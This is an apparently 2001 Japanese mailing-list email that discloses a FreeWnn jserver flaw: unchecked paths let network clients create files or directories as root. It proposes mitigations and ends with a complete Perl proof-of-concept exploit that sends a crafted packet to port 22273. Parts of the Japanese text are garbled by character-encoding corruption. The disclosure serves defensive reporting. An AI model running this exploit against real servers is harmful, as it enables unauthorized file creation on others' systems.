- To: hiroo@oikumene.gcd.org
- Subject: Re: security bug report
- From: yusuke@kmc.kyoto-u.ac.jp (TABATA yusuke)
- Date: Tue, 14 Aug 2001 21:44:48 +0900 (JST)
- Cc: yusuke@kmc.kyoto-u.ac.jp
- Delivered-To: hiroo@oikumene.gcd.org
- In-Reply-To: Your message of "Tue, 14 Aug 2001 21:06:53 +0900".<20010814210653L.hiroo@oikumene.gcd.org>
田畑です
メイリングリストには参加していないので
���遒気鵑里澆悗離螢廛薀い箸覆蠅泙后E��送などは御���海砲匹�逅擦��。
<20010814210653L.hiroo@oikumene.gcd.org>の記事において
hiroo@oikumene.gcd.orgさんは書きました。
>> 田畑さんがチェックされた FreeWnn のバ・踉札献腑鵑函���ソ・踉札好魁��ドの該当す
>> る箇所を教えて頂けないでしょう瘢雹か。
FreeWnn-1.1.1-a17です。
exploitプログラムの完全版は最後に付けます(��禊界苳脂長なソ・踉札垢任垢�)
jserver/de.c のdemon_main.c() でパケットを���韻箸�
jserver/dispatch.c の do_command() 中のswitch文で
js_mkdir()や js_dic_file_create()を経て��尊櫃離侫.ぅ訌犧遒愡蠅襪泙任�
パスでチェックが行なわれていないという瘢雹ことが問題のよう瘢雹です。
側苳擦砲發���ると思いますのでチェックをお願いします。
>> これから調査するところですが・髟阡司鷙陲靴督困い親睛討�蕕垢襪函���Wnn のプロ
>> トコルの正当な要求のよう瘢雹なので (牧歌的な時代に作られたものという瘢雹ことな
>> のでしょう瘢雹が)・髟阡擦茲�佑┐栃儿垢魏辰┐詆�廚����ると思っています。
>> (cf. [freewnn:00683])
>> 対策について提案がう髟阡擦譴亟新淬廚靴泙后�
対策としては
*rootで起動した際にはTCPによる接続は���韻覆�
*rootで動かしてはいけないことを明記する/rootでは動かないよう瘢雹にする
*��Ⅸ颪離妊�譽�肇蠅粒阿砲魯侫.ぅ訌犧遒鬚任④覆い茲�逅擦砲垢�
*特定の巳苳餐阿離僖拭��ンを持ったファイル以外は操作できないよう瘢雹にする
*Wnn6と同じwnnhostsを採用する・髟阡擦燭世靴海離���クセスコントロ・踉札襪論楝鎧�帽圓�逅�
などが思いつきます。
>> 暫定策 (workaround)・髟阡珊欝弸� (solution) が定まり��∥菠鷙陲靴燭い塙佑┐�
>> いますが・髟阡擦修�逅擦い�逅擦錣韻如���今すぐは��┐擦泙擦鵝�
solutionを考える際には
*��Ⅸ颯侫.ぅ襪離廛薀ぅ丱掘��
*認���
*通信の暗号化
なども検討をお願いします。
以王踉擦櫓苳脂長ですが・髟阡嗣簑蠅魄悊Ⅰ�海好廛蹈哀薀爐任�
#! /usr/bin/perl
($them,$port) = @ARGV;
$port = 22273 unless $port;
$them = 'localhost' unless $them;
$SIG{'INT'} = 'dokill';
sub dokill { kill 9,$child if $child; }
use Socket;
$sockaddr = 'S n a4 x8';
chop($hostname = `hostname`);
($name, $aliases, $proto) = getprotobyname('tcp');
($name, $aliases, $port) = getservbyname($port, 'tcp')
unless $port =~ /^\d+$/;
($name, $aliases, $type, $len, $thisaddr) =
gethostbyname($hostname);
($name, $aliases, $type, $len, $thataddr) = gethostbyname($them);
$this = pack($sockaddr, &AF_INET, 0, $thisaddr);
$that = pack($sockaddr, &AF_INET, $port, $thataddr);
socket(S, &PF_INET, &SOCK_STREAM, $proto) || die "socket: $!";
# bind(S, $this) || die "bind: $!";
connect(S, $that) || die "connect: $!";
select(S); $| = 1; select(STDOUT);
print "connected!";
if ($child = fork) {
print STDOUT "send";
print S "\x00\x00\x00\x66\x00\x00\x00\x00".
"/tmp/hoge\x00".
"\x00\x00\x00\x00\x00\x00\x00\x03";
print STDOUT ".done.\n";
sleep 3;
do dokill();
}
else {
while (<S>) {
print;
}
}